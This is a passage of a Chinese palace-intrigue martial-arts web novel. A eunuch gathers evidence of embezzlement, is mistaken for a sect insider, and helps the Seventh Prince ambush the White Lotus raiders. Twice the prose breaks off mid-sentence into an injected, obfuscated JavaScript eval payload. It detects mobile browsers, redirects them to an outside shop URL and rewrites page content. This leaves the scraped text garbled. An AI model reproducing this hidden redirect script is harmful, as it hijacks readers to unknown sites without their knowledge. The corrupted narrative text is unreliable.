近日修炼，得益于那《呼吸导引杂论》与《龟息功》残篇相互印证，进展虽仍缓慢，他却觉根基日渐扎实，五感亦愈发敏锐。方才归途遭那二人撞击，对方力量及身之瞬间，他竟能于电光石火间肌肉微颤，卸去大半力道，否则怕是要筋断骨折。此等对肉身的精微掌控，已非常人所能及。 “然则，曹敬爪牙已如跗骨之蛆。”李原思及此处，眉头微蹙。 日间那二人，眼神凶狠，动作矫健，绝非寻常太监，定是曹敬麾下精锐番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347211|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。此番试探不成，下次恐便是雷霆手段。自己须得尽快为七皇子立下功劳，方能借其势暂保平安。 翌日，李原照例当值，处理尸首、清理雪堆，对福安愈发殷勤。然其心神，多半已系于那藏书阁中的陈年旧档之上。 此后数日，他借为福安寻书之名，频频往来于净房与藏书阁之间。每次他皆贿赂福平，态度恭敬，福平甚至让他进出自由。然其行踪，却较往日更为飘忽，时而绕远路，时而穿夹巷，竭力摆脱可能存在的眼线。 至藏书阁中，他亦不急于翻检，先是假意流连于经史区域，或与福平闲话几句宫中琐事，探听风声。 待确认无人留意，方悄步深入那堆放光禄寺、内官监旧档的角落。 此地灰尘积寸，蛛网密布，霉气扑鼻。李原亦不顾污秽，俯身于故纸堆中，细心翻检。 那些册页，多是历年采买清单、库储记录、人员支取等琐碎账目，数字冗杂，名目繁多，看得人头晕眼花。 然李原心性坚韧，记忆力超群，更兼修炼《龟息功》后，神思清明。他并不急于寻找所谓“罪证”，而是先将这些账目规制、常用名目、往来衙门印记等基础信息，强行记下，于脑中构建框架。 “内府采买，油水最厚之处，莫过于木材、石料、绸缎、药材、香料等项。”李原忆起曾于某本杂书中看过相关记载，心下暗道，“而其中猫腻，多在‘浮报’、‘以次充好’、‘虚设名目’几处。我需得寻那数目巨大、品类特殊、或与常例不符之处。” 他白日于阁中强记，夜间回到净房那冰冷铺位，便于脑中反复演算、比对。福安偶尔见他怔怔出神，只当他那日被曹敬手下惊吓未愈，亦不多问。 如此过了十来日，李原已将光禄寺近三年的采买账目大致梳理一遍。 然其中条目浩如烟海，虽有几处数目略显突兀，却难成确凿证据。他心知，若仅凭此等模糊之处，绝难动摇曹敬党羽分毫。 这一日，他正于一堆废弃文书下翻检，忽触到一硬物，拨开尘土，却是一本以蓝布为面、无题名的厚册。 李原翻开一看，内里并非官样文章，而是私人笔记，墨迹深浅不一，似是随手记录。 细看内容，李原心中一动。 此册所载，竟是光禄寺某位署丞私下记录的小金库收支！其中不乏“某月某日，送曹公公门下李太监节敬银五十两”、“某月某日，支取上好辽东人参二斤，注明‘曹府用’”、“某月某日，采买南洋檀香木十斤，实收百斤，差价入……”等语！ 虽未直言曹敬，然“曹公公”、“曹府”等字样，已昭然若揭！且这“浮报”、“挪用”之迹，更是赤裸裸记录在案！ “踏破铁鞋无觅处！”李原强抑心中激动，将此册关键页内容，以蝇头小楷记于随身携带的纸上。他不敢带走原件，恐打草惊蛇。 正凝神间，忽闻阁外传来福平与人交谈之声，语气甚是恭敬。李原耳力敏锐，立时辨出，来者竟是曹敬身边一名得力掌班！ 11. 第 11 章 他心头一凛，不及细思，立刻将蓝布册塞回原处，覆以废纸，身形如狸猫般悄无声息地滑至相邻书架后阴影中，全力运转《龟息功》，气息瞬间敛至几近于无。 几乎同时，阁门被“吱呀”推开。那掌班尖细的嗓音响起：“福平，你这地方，近日可有什么异常？” 福平赔笑道：“刘掌班说笑了，这鬼地方能有什么异常？除了几个老面孔，便是些不识字的小火者来偷懒打盹。” 刘掌班哼了一声，脚步在阁内响起，似是随意查看：“曹公公吩咐，近日宫中不太平，要咱家各处都走走。尤其是这藏书阁，堆放旧档之地，莫要混进了什么不干净的东西。”他话语中“不干净的东西”几字，咬得极重。 李原伏在暗处，心知此言多半是冲着自己而来。曹敬疑心既起，便不会轻易放过。他屏息凝神，只凭耳力听取对方动静。 只听那刘掌班脚步声在阁内转了一圈，渐渐向李原藏身之处靠近。李原甚至能闻到对方身上那股淡淡的檀香与汗渍混合的气味。 就在其即将走到这排书架前时，福平忽然在后扬声道：“刘掌班，您老辛苦，喝碗粗茶歇歇脚吧？这阁内灰尘大，莫要污了您的靴子。” 刘掌班脚步一顿，似是嫌恶此地污秽，啐了一口：“罢了！这地方也确实没什么看头。福平，你给咱家警醒着点，若有生面孔，或是那净房的小子有什么异动，立刻来报！” “是是是，奴婢明白！”福平连声应承。 刘掌班又站了片刻，方才转身离去。阁门被重新合上。 李原却未立刻现身，又在阴影中潜伏了约莫一炷香时分，确认对方确已走远，福平也没再进来，这才缓缓吐出一口浊气，自书架后闪出。他背心之处，已是微湿。 “好险！”他暗呼侥幸。若非福平那一声招呼，只怕方才便要与对方撞个正着。然则，福平是真心解围，还是无意之举？此人态度，依旧暧昧。 他不敢再停留，将默记了证据的纸笺贴身藏好，悄然离开藏书阁。 归途之中，李原格外警惕。行至一处僻静宫巷，忽见前方拐角处转出一人，竟是那日撞击他的两个太监之一！ 对方眼神阴鸷，直勾勾盯着他，嘴角噙着一丝冷笑，显然在此等候多时！ 李原心中警铃大作，知今日难以善了。他面上却瞬间堆起惶恐，低头欲从旁绕过。 “站住！”那太监厉喝一声，一步跨前，拦住去路，“小子，这么着急，是去哪里发财啊？” 李原止步，垂首颤声道：“公……公公说笑了，奴婢……奴婢只是回净房当值。” “当值？”那太监逼近一步，身上散发出一股压迫之气，“咱家看你是去藏书阁当了‘窃贼’吧！说！鬼鬼祟祟翻找什么？” 李原心中雪亮，对方果然一直在监视自己！他脸上适时的露出惊惧与茫然：“公公明鉴！奴婢……奴婢只是替干爹寻几本闲书，绝不敢行窃啊！那藏书阁里都是废纸，有什么可偷的？” “废纸？”那太监冷笑，忽的出手如电，一把抓向李原胸前衣襟，“咱家看你怀里鼓鼓囊囊，藏了什么？” 这一抓，迅疾狠辣，指风凌厉，竟隐带破空之声！显然动了真格，欲要强行搜查！ 间不容发之际，李原脑中电转。若被搜出那记满证据的纸笺，今日便是死期！反抗？则暴露武功，后患无穷！ 千钧一发，李原竟不闪不避，反而“哎呦”一声，脚下似是绊到不平处，整个身子向前一扑，恰巧险之又险地避开了那当胸一抓，却似收势不住，直直撞向对方怀中！ 那太监没料到他如此脓包，竟自己送上门来，微微一怔。就在这瞬息之间，李原那看似慌乱挥舞的双手，已不着痕迹地在其腰间章门穴处轻轻一拂！ 这一拂，看似无力，实则蕴藏着《龟息功》修炼出的一丝阴柔内息，更是借鉴了那日所见黑衣人的擒拿手法，专打气血交汇之薄弱处。 那太监只觉腰间一麻，半边身子竟瞬间酸软，气血为之一滞，那凌厉一抓顿时失了力道。他心中大骇，未及惊呼，李原已“砰”的一声撞入他怀中，两人顿时滚作一团！ “公公饶命！奴婢不是故意的！脚下打滑！”李原口中惊慌叫嚷，手脚却似胡乱挣扎，肘、膝、头、肩，次次“无意”撞向对方周身软麻穴道。 那太监空有一身功夫，却被这王八拳打得气息紊乱，一时竟挣脱不开，心中又惊又怒，偏生浑身酸麻，喝骂都难以出声。 纠缠不过数息，李原估摸着那穴道受制时间将过，猛地一个挣扎，从对方身上滚开，连滚带爬地起身，也顾不得拍打尘土，哭丧着脸道：“公公恕罪！奴婢……奴婢这就滚！这就滚！”说罢，不待那太监反应，他已是踉跄着飞奔而去，姿态狼狈至极。 那太监勉强支撑起身，只觉周身气血不畅，好几处穴道隐隐作痛，望着李原消失的方向，脸上青红交错，惊疑不定。 方才那几下，是巧合？还是这小太监深藏不露？然观其逃窜之狼狈，又实不像身负武功之人。 “邪门！”他啐了一口，暗骂晦气，却也不敢再追，需得尽快运功调息，并将此异状上报。 李原一路惊惶奔回净房，直至踏入那熟悉的院落，关上房门，脸上惧色才瞬间褪去，化为一片沉静。 方才那番看似狼狈的纠缠，实则是他精心计算的险招。既避免了被搜查，又以“意外”方式略施惩戒，且未暴露真实实力。 “《龟息功》配合那《呼吸导引杂论》中所载的导引之法，竟能于无声处制人？”李原回味着方才那电光石火间的出手，对自身武学之路，又多了几分明悟。然则，此举风险极大，若非情急，绝不可再用。 他稍事歇息，待气息平复，便寻了个借口，求见福安，将今日遭遇“曹公公手下拦路刁难”之事，略去关键，只言对方寻衅，自己侥幸逃脱，禀报一番，言语间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347212|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满是后怕。 福安听罢，默默抽着烟袋，良久，方浑浊道：“树欲静而风不止。你既入了某些人的眼，往后……更需步步为营。”言罢，挥挥手，示意李原退下。 李原知福安此言，已是默许乃至提醒他如今处境。 他躬身退出，回到自己住处，于灯下将那默记的证据，重新誊写于一张更小的薄棉纸上，字迹细如蚊足，而后他将其密缝于衣角夹层之中。 下一步，便是如何将这证据，安然送至七皇子手中。 他想起朱瑄所赐玉牌，以及“寻机报与吴伴伴”之语。然则，西苑角门如今定有曹敬眼线，贸然前往，无异自投罗网。 正当他苦思传递之法时，机会竟悄然降临。 这日，净房收到一具来自西苑的尸首，据报是失足跌入枯井的小太监。李原循例处理，搬运时，指尖触及对方怀中似有硬物。他不动声色，将其摸出，却是一枚以油纸包裹、刻有奇异花纹的木质符牌，非宫中之物。 同时，他敏锐地嗅到，此尸身虽经井水浸泡，然发间仍残留着一丝极淡的、与那日林中黑衣人所用金疮药相似的甜香！ 李原心中剧震！此人……莫非与那黑衣人或曹敬有关？这符牌，或是信物？他不及细想，迅速将符牌藏起，继续处理尸身。 是夜，他取出符牌，就着微光细看。花纹诡异，似鸟非鸟、似兽非兽，样式奇特。他忽然忆起，曾于某本前朝野史杂录中见过类似图样，似是某个被剿灭的邪教白莲教的标记！ 曹敬竟与宫外邪教有染？！此事实在骇人听闻！若此符牌真是证据，其价值，远胜那账目贪墨之事！ 李原心念电转，意识到此事关系重大，必须尽快禀报七皇子。然则，如何传递？ 他目光落在那枚玉牌之上，忽生一计。 次日，他再次前往藏书阁。此番，他并未深入旧档区域，反而寻了几本通俗演义，又向福平讨了些包书的旧油纸与麻绳。 在福平视线不及之处，他迅速将记有账目证据的棉纸与那枚邪教符牌，以油纸层层包裹，藏于一本厚厚的《元武正韵》扉页夹层之中，又以巧手法将书页粘合，外表看去，毫无破绽。 随后，他捧着这几本包好的书，行至西苑角门附近，却未靠近，只在远处徘徊。 不多时，果见吴公公在那小内侍搀扶下，于院中散步。 李原看准时机，抱着书快步上前，至角门外，对着那守门太监躬身道：“公公，奴婢前日来收‘货’，不慎将干爹的烟袋落在此处棚下，可否容奴婢进去找寻一番？” 守门太监见他怀抱书籍，又是前些日那不懂事的小太监，不耐道：“哪有你的破烟袋！快走！再纠缠，就不怪咱家不客气了！” 李原却不肯走，苦苦哀求，声音渐高，惊动了院内吴公公。 吴公公抬眼望来，见到李原，目光微凝。他缓步走近角门，对守门太监道：“何事喧哗？” 12. 第 12 章 守门太监忙躬身回话。李原趁机上前一步，对着吴公公跪下，举起手中那包书，声音带着哭腔。 “吴公公恕罪！奴婢……奴婢是来替干爹还书的！干爹前日借了藏书阁几本书，如今病重，恐……恐时日无多，特命奴婢务必归还，求公公……求公公看在昔日与干爹同僚之谊，代为转交福平公公！奴婢……奴婢给您磕头了！”说着，他竟真的大力叩首，额角瞬间青紫。 他这番话，半真半假，既点明福安“病重”，又高举“还书”之举，更以额上青紫昭示“急切”与“忠心”。 那包书中，正藏着那本动了手脚的《元明正韵》。 吴公公是何等样人，见李原如此作态，又提及“福安病重”，心中已然明了。 他深深看了李原一眼，不动声色道：“既是福安临终所托，咱家便替你走这一遭。起来吧。”说罢，他示意身旁小内侍接过那包书。 李原如释重负，又连磕了几个头，方才感激涕零地离去。 第一步，已成。证据已借还书之名，送至吴公公手中。然则，那邪教符牌之事关乎重大，书页夹层难以尽述，需得面陈。 当夜，李原于净房后院僻静处修炼《龟息功》。 连日来奔波、算计、乃至与人暗中交手，心力耗损甚巨，然则此刻静心凝神，引导内息流转，却觉那丝气感竟较往日更为活泼凝实，于经脉中运行周天，速度也快了几分。 他心无旁骛，物我两忘。不知过了多久，忽觉丹田微微一震，那缕一直细若游丝的内息，竟骤然壮大了倍余！奔流之势虽仍和缓，却已有了江河雏形，周身四肢百骸，如浸温水，说不出的舒泰受用！ 突破了！《龟息功》第一重瓶颈，竟于此夜水到渠成！ 李原缓缓收功，睁开双眼，只觉眼前景物愈发清晰，耳中亦能捕捉到更远处巡夜太监的脚步声与低语。 他轻轻握拳，感受着体内那增长了不少的气力，心中却无多少狂喜，唯有更深的沉静。 武学进阶，固然可喜，然前路危机，亦随之更深。曹敬、白莲邪教、皇子……自己已深陷漩涡中心。 正当他准备返回住处时，忽闻墙外传来一阵极轻微的夜枭啼鸣之声，三长两短，反复三次。 李原身形一顿。此乃前日他于那邪教符牌旁侧，以药水写下的联络暗号之一，言明若对方是“自己人”，可于此地、此信号联络。他本未抱多大希望，不想今夜竟真有回应！ 是那黑衣人的同党？还是曹敬的另一路手下？ 李原心念电转，当下亦不迟疑，提气纵身，如一片落叶般悄无声息地翻过院墙。 墙外雪地中，立着一道黑影，身形窈窕，竟似个女子！虽以黑巾蒙面，然那双露出的眸子，在雪光的映衬下，清澈明亮，带着几分审视与警惕。 “是你留的记号？”女子声音压得极低，似乎是故意带着一丝沙哑，却难掩其原本的清越。 李原运转《龟息功》，将自身气息收敛得如同寻常小太监，怯生生道：“你……你是何人？奴婢……奴婢不明白……” 女子冷哼一声，手腕一翻，掌中赫然握着另一枚与李原所得一般无二的邪教符牌！ “少装糊涂！这圣莲令你从何得来？可是玄字叁号派你来的？” 李原心中飞快分析。圣莲令？玄字叁号？看来这邪教内部，等级森严，以天地玄黄编号。那死去的太监，怕是玄字叁号的下属。此女见令如见人，误将自己认作同党。 他当下顺着对方语气，含糊道：“……令牌是……是上面交代的。只是……只是近日风声紧，联络断了……” 女子目光锐利如刀，在他脸上扫视，似在判断真伪。 良久，她方沉声道：“既如此，你听好。圣母法旨，三日后子时，西苑鹿悠轩，需有一场红莲业火，焚尽污秽，迎接圣临！你既在此处，正好作为内应，届时开启角门，接引黄字兄弟入内！” 李原闻言，心头骇浪滔天！红莲业火？焚尽污秽？这分明是要在西苑纵火行刺！目标……恐就是养病于此的七皇子朱瑄！ 而三日后，正是曹敬此前吩咐黑衣人设计陷害六皇子的品茗会之期！难道他们欲将两位皇子一网打尽？！ 此事实在太过骇人听闻！ 他强压震惊，垂首喏喏道：“……奴婢……奴婢遵旨。只是……只是西苑守卫森严，角门亦有专人看守，恐难……” “废物！”女子低斥一声，“届时自有安排，引开守卫。你只需依令行事！若误了圣母大事，叫你神魂俱灭！”言罢，她不再多留，身形一晃，便如鬼魅般融入夜色，消失不见。 李原独立雪中，寒风扑面，却不及心中冰冷。 曹敬勾结白莲教，欲要弑杀皇子！此等泼天大案，竟被自己窥破！ 然则，自己如今被误认为邪教内应，卷入其中，稍有不慎，便是粉身碎骨。 告发？无凭无据，且自己身份尴尬，如何取信于人？更何况，那女子武功不明，邪教在宫中渗透多深，亦未可知。 若不告发……难道真要做那开启角门、引狼入室之内应？届时两位皇子若有不测，自己亦难逃干系！ 两难之境，杀机四伏。 李原抬头，望向那墨黑天幕，零星雪花飘落，沾湿了他的眉睫。他缓缓呼出一口白气，眼中闪过一丝决绝。 这潭水，既已浑至如此，那便……索性搅得更浑些！ 他需得尽快见到七皇子，将此惊天阴谋，面陈于他！ 但李原等了两日，还是没等来吴公公那边的信息，想要面见七皇子的请求，也是石沉大海。 这一夜净房值房内，唯有一灯如豆，伴着李原练功。 这两日他面上依旧恭顺如常，白日里照旧处理秽物，夜间则潜心修炼《龟息功》。然其心中，却似沸鼎翻腾，无一刻安宁。 西苑那边没有任何消息，是信物未达？还是七皇子另有顾虑？ 李原缓缓呼出一口气，脸前白雾成片。冬月之寒，仍然敌不过他胸中的火热澎湃。白莲妖女之言，犹在耳畔回响——红莲业火、焚尽污秽、接引圣临。 字字句句，皆似 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院外风雪正紧，积雪没踝。只见墙角暗影处，立着一佝偻身影，披着黑色斗篷，正是吴公公。他未带随侍，独自拄杖而来。 “随咱家来。”吴公公声音沙哑低沉，不容置疑。说罢转身便行，步履蹒跚，却方向明确。 李原不敢多言，低头紧随其后。二人一前一后，专拣那最僻静之宫巷夹道，在风雪夜色中穿行。 吴公公对此间路径极熟，每每于巡逻间隙，寻隙而过，竟未遇一人。 行约一刻，至一废弃偏殿。殿门虚掩，内里漆黑无光。吴公公推门而入，李原略一迟疑，亦跟入其中。 “咔哒”一声轻响，吴公公燃亮手中一盏羊角风灯，昏黄灯光照亮这方寸之地。但见殿内蛛网密布，陈设积尘，唯正中设一破旧蒲团，七皇子朱瑄竟端坐其上！ 他依旧身着素袍，面色苍白如纸，然双眸在灯下灼灼有神，不见病态，反透着一股沉静之气。 李原心头剧震，不及细思，已扑通跪倒：“奴婢李原，叩见殿下！” 朱瑄微微抬手：“不必多礼。吴伴伴，外间守着。” 吴公公躬身一礼，默然退至殿门处，如老僧入定。 殿内只余二人。朱瑄目光落在李原身上，淡淡道：“你送来的‘书’，孤已看过。账目之事，暂且按下。那枚圣莲令，从何而来？” 李原知此刻乃生死关头，不敢有丝毫隐瞒，遂将如何从西苑尸身偶得符牌，如何被妖女误认同党，如何听闻红莲业火之谋，原原本本，低声陈述。 唯独隐去自身武功修为及与黑衣人交手等节，只推说运气使然。 朱瑄静静听着，面上无波无澜，唯在听到“三日后子时，西苑鹿鸣轩”时，指尖微微一动。 待李原说罢，殿内陷入一片死寂。唯闻殿外风啸雪落，更添几分肃杀。 良久，朱瑄方缓缓开口，声音依旧平和，却透着一丝冷意：“曹敬……好大的手笔。一石二鸟，既要孤的性命，亦要嫁祸六哥。” 13. 第 13 章 李原伏地不敢言。 朱瑄忽问道：“你可知，孤为何信你？” 李原一怔，谨慎答道：“奴婢……不知。” “因你贪生。”朱瑄唇角微扬，露出一丝似笑非笑之色，“贪生之人，必惜命。惜命之人，方知权衡。你冒险告密，无非是觉着，依附于孤，比受曹敬摆布，活命之机更大些。是也不是？” 李原背生冷汗，知在此人面前，虚言无益，遂叩首道：“殿下明察秋毫。奴婢……确是为求活路。” “求活路，并无不妥。”朱瑄轻轻咳嗽两声，苍白的脸上泛起一丝潮红，“这宫中，谁人不是在求活路？区别只在，有人苟且偷生，有人……欲争那一线生机。” 他目光如炬，盯住李原：“你今日前来，是争，是苟？” 李原深吸一口气，抬头迎上那道目光，虽依旧惶恐，语气却带着孤注一掷的坚定：“奴婢……愿争那一线生机！但凭殿下差遣！” “很好。”朱瑄颔首，自袖中取出一卷薄绢，递与李原，“此乃西苑鹿悠轩左近之舆图，并守卫布防、换岗时辰。你既被认作内应，三日后，便依计行事。” 李原双手接过，展开略观，心中暗惊。此图绘制精细，连暗哨、机关均有标注，显然筹备已久。七皇子对此阴谋，似乎并非全无防备？ 朱瑄似看出他心中疑惑，淡然道：“曹敬与白莲教勾连，孤早有耳闻。然其行事诡秘，苦无实证。今次他自露马脚，正是天赐良机。” 他顿了顿，语气转冷：“然则，敌暗我明，彼众我寡。欲破此局，需行险招。” “殿下之意是……” “将计就计。”朱瑄一字一顿，“他要红莲业火，孤便给他这场火！但要烧的，是他曹敬自己！” 李原心头一震，已然明了。七皇子这是要以身为饵，引蛇出洞，借此契机，反戈一击！ “明日子时，你依旧开启角门，放那些黄字兄弟入内。”朱瑄指令清晰，“然则，入苑之后，其行进路线，需按此图所示稍作调整。” 他指尖在舆图上虚划数处:“此地、此地、及此地，孤已埋下伏兵。届时，关门打狗。” 李原细看那调整后的路线，正是将入苑妖人，引入一处三面环墙之狭长甬道，确是绝佳伏击之地。然则…… “殿下，此举虽妙，然风险极大。”李原忍不住道，“妖人凶悍，万一……” “没有万一。”朱瑄打断他，目光沉静如水，“孤之性命，并你之性命，皆系于此。成，则曹敬伏诛，你我皆有晋身之阶；败，则万事皆休。” 他凝视李原：“你，可敢赌这一把？” 李原望着那双深不见底的眸子，知此刻已无退路。他重重叩首：“奴婢……愿随殿下，赌此一局！” “如此甚好。”朱瑄微微颔首，“明日，你一切如常，勿露破绽。曹敬若有吩咐，虚与委蛇即可。届时，孤自有安排接应于你。” “奴婢遵命。” 朱瑄挥挥手：“去吧。万事小心。” 李原再拜，躬身退出偏殿。吴公公依旧守在门外，见他出来，默默递过一盏灯笼，示意他循原路返回。 风雪未停，李原提着那盏孤灯，深一脚浅一脚地行走在宫巷中。他觉得手中那卷薄绢，重若千钧。 此番赌局，筹码便是身家性命。赢了，或可攀附皇子，暂得庇护；输了，便是乱刀分尸，葬身火海。 然则，他还有选择么？自踏入这深宫那日起，便已身在赌局之中。区别只在，往日是懵懂下注，今日，是清醒押宝。 “冷心冷血，谋定后动。”李原于心中默念此八字。 越是危局，越需冷静。七皇子朱瑄，年纪虽轻，然心思深沉，布局老辣，绝非池中之物。或许，这确是值得投资的“奇货”？ 他摸了摸手中那卷舆图，眼中闪过一丝决绝。 次日，李原依旧早早起身，洒扫院落，处理秽物，对福安恭敬如常。然其耳目，却时刻留意着四周动静。 果然，午后时分，那日前来撞击他的太监之一，又出现在净房附近，假意与守门小火者闲话，目光却不时瞥向院内。 李原佯装未见，只埋头做事。心中却知，曹敬仍在监视自己。 傍晚，他借故前往内官监领取份例。行至半路，忽被一人拦住去路，正是昨日那太监。 “小原子，且慢走。”那太监皮笑肉不笑，“曹公公有请。” 李原心中一跳，面上却堆起惶恐：“公……公公，曹公公唤奴婢何事？奴婢……奴婢近日并未犯错啊……” “休得多问，随咱家来便是！”那太监不耐，一把抓住李原手臂，力道甚大。 李原暗运《龟息功》，将内力敛于丹田，任由他拖着前行。二人穿廊过巷，来至一僻静值房。 房内陈设简单，只一桌一椅。曹敬端坐椅上，身着栗色蟒袍，面白无须，眼神阴鸷。见李原进来，他并未开口，只冷冷打量着。 李原扑通跪倒，浑身发抖：“奴婢……奴婢叩见曹公公。” 曹敬慢条斯理地拨弄着手中一串沉香念珠，半晌，方尖声道：“抬起头来。” 李原战战兢兢抬头，脸色煞白。 “咱家听闻，”曹敬缓缓道，“你近日，常往藏书阁跑？” “回……回公公，奴婢是替干爹福安寻些话本解闷……” “哦？”曹敬嘴角扯出一丝冷笑，“只怕不止话本吧？可曾……看到些不该看的东西？” 李原心知他仍在试探账目之事，忙叩头道：“奴婢不敢！奴婢目不识丁，那些旧书废纸，在奴婢眼中与垃圾无异！绝不敢乱翻乱看！” “是么？”曹敬起身，踱至李原面前，居高临下，“那咱家再问你，前日西苑角门外，你与吴老公公拉扯扯扯，所为何事？” 李原心中凛然，知那日之举，果然未能瞒过其耳目。 他脸上适时的露出委屈之色，带着哭腔道：“公公明鉴！那日是干爹病重，命奴婢务必归还借书，奴婢求吴公公代为转交，绝无他意啊！干爹如今卧床不起，奴婢……奴婢只怕他……”说着，竟真挤出几滴眼泪。 曹敬眯着眼，审视他良久，忽道：“你倒是个孝顺孩子。”语气莫测 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“明日……”李原于心中默念。风暴之眼，正在逼近。 自此到第二日，宫中表面波澜不惊。然李原却敏锐察觉到，暗流愈发汹涌。巡守侍卫明显增多，各宫门盘查亦严格不少。偶有生面孔太监出入，皆步履匆匆，神色凝重。 他依朱瑄吩咐，一切如常，依旧当值，得空了则于无人处，反复研看那卷舆图，将鹿鸣轩周遭地形、伏兵位置、自己行动路线，烂熟于心。 同时，他修炼《龟息功》不敢懈怠。内力每增一分，保命之机便大一分。 黄昏时分，雪停了。 李原早早歇下，养精蓄锐。子时将至，他悄然起身，换上早已备好的一件深色旧袍，将舆图焚毁，灰烬冲入茅厕。随即，他如鬼魅般溜出净房，向西苑角门潜行。 今夜雪停风住，只是那寒气依旧凛人。沿途巡逻队伍往来频繁，气氛肃杀。 李原凭借《龟息功》敛息之效与对路径的熟悉，有惊无险来至西苑角门外暗处。 只见角门紧闭，门前竟无守卫！显然已被调开，正应了那妖女“自有安排”之言。 李原屏息凝神，耳听八方。约莫一炷香后，果闻远处传来三声落雪声——正是那夜妖女约定之信号。 他深吸一口气，自暗处闪出，快步至角门前，掏出早已备好的钥匙——此乃前日吴公公暗中交付——插入锁孔，轻轻转动。 “咔哒”一声轻响，角门应声而开。 门外，黑影憧憧，竟立着十余名身着夜行衣的汉子！个个眼神凶悍，手持利刃，为首者，正是那日所见妖女！ 她见李原如期开门，眼中闪过一丝满意，低喝道：“速速引路！” 李原佯装畏惧，缩了缩脖子，低声道：“各位……各位好汉请随奴婢来。沿途守卫已被引开，然需快行，避过巡逻时辰。” 说罢，他转身便循着舆图上调整后的路线，疾步行去。那些黑衣人鱼贯而入，紧随其后。 14. 第 14 章 一行人穿行于亭台楼阁阴影之中，脚步声几不可闻，除了李原那“不合群”的、忽轻忽重的脚步声。 这会李原心跳如鼓，不时左右张望，状极警惕。 行至那处三面环墙之狭长甬道入口，李原忽停下脚步，指向前方昏暗处，对妖女低声道：“穿过此甬道，便是鹿悠轩后园。奴婢……奴婢身份低微，不敢再往前了。” 妖女抬眼望去，只见甬道深长，两侧高墙耸立，确是捷径。她不疑有他，微微颔首，挥手示意众人跟进。 李原侧身让过，目送这群亡命之徒悄无声息涌入甬道。他则依计迅速退至一旁假山石后，藏匿身形。 就在最后一名黑衣人没入甬道黑暗的刹那，异变陡生！ 只听“轰隆”一声巨响，甬道两端竟同时落下两道精铁闸门，将退路彻底封死！ “有埋伏！” “中计了！” 甬道内顿时响起惊怒交加之吼声，以及兵刃出鞘之音！ 几乎同时，两侧高墙之上，火把骤亮，映出无数弓弩手身影！箭镞寒光，在夜色中点点如星！ “放箭！”一声清叱自墙头传来，竟是朱瑄之声！虽略带沙哑，却威严毕露！ 霎时间，箭如飞蝗，密如骤雨，向甬道中倾泻而下！ 惨嚎声、怒骂声、兵刃格挡声，响成一片！黑衣人虽悍勇，然身处绝地，无处可避，顷刻间已有数人中箭倒地！ 那妖女武功最高，挥舞一双短刃，拨打雕翎，厉声长啸：“朱瑄小儿！无耻暗算！圣母必降天罚，焚尔宫阙！” 墙头之上，朱瑄身影在火光中若隐若现，声音冰冷：“妖孽祸国，死有余辜。给孤杀！一个不留！” 箭雨更密。另有滚石、热油自墙头泼洒而下，甬道内顿成修罗地狱。 李原伏在假山之后，听得场内喊杀震天，鼻端嗅到浓烈血腥之气，心中亦不免凛然。七皇子年纪轻轻，行事竟如此果决狠辣！ 正当他以为大局已定之际，忽闻那妖女发出一声凄厉长啸，声震四野：“圣母垂怜，赐我圣火！焚尽伪朝，净此浊世！” 话音未落，但见其猛地掷出数枚鸽卵大小之黑色弹丸，落于地面，“嘭”的炸开，腾起大股浓烟与刺鼻硫磺气味！ “小心火器！”墙头有人惊呼。 然而为时已晚！那浓烟遇风即燃，瞬间化作熊熊烈焰，顺着泼洒的热油蔓延开来！整个甬道顿成火海！ “哈哈哈哈哈！”妖女在火中狂笑，“红莲业火，焚尽万物！朱瑄！与我等同归于尽吧！” 火势极猛，竟顺着墙体向上蔓延，墙头弓弩手被迫后退。更有数名黑衣人悍不畏死，借火势掩护，竟以血肉之躯撞击铁闸！ “砰！砰！”巨响声中，那铁闸竟被撞得微微变形！ 李原在假山后看得心惊肉跳。这白莲妖火，竟猛烈如斯！ 就在此时，他眼角余光瞥见，西苑深处，竟也腾起数处火头！喊杀声由远及近，显然另有妖人潜伏，闻讯发难，里应外合！ “不好！”李原暗叫一声。七皇子虽布下埋伏，然白莲教亦非易与之辈，竟留有后手！今夜之局，胜负尚未可知！ 他正自焦急，忽见一道身影自火场中冲天而起，正是那妖女！她浑身浴火，状若疯魔，双刃直取墙头朱瑄！ “殿下小心！”吴公公的惊呼声响起。 千钧一发之际，一道灰影自朱瑄身侧掠出，掌风凌厉，迎向妖女！二人于半空中硬拼一记，气劲四溢，火光都为之一暗！ 妖女吐血倒飞，重重跌落火海。那灰影亦踉跄落地，显是受了内伤，正是李原那日所见的灰衣人——朱瑄身边隐藏的高手！ 然则，经此一击，墙头防守出现空隙。下方残余黑衣人以火势为障，疯狂冲击铁闸，那闸门已摇摇欲坠！ 更糟的是，苑内多处火起，救喊之声四起，显然局势渐趋失控！ 李原伏在暗处，心念电转。此刻若任由发展，一旦妖人脱困，或火势蔓延，朱瑄安危难料，自己亦将陷入绝境！ “需得做些什么……”他目光扫视战场，忽的定格在甬道一侧某处。舆图上曾标注，此地有一暗渠，通往苑外…… 一个冒险的念头，骤然浮现。 他悄然自假山后潜出，借着火光阴影，匍匐前行，来至那暗渠入口。果见一方铁栅栏阻隔，已被火烤得滚烫。 李原暗运《龟息功》，气贯双臂，握住那铁栅，猛力一扳！“嘎吱”声中，那铁栅竟被他生生拗弯，露出一道缝隙！ 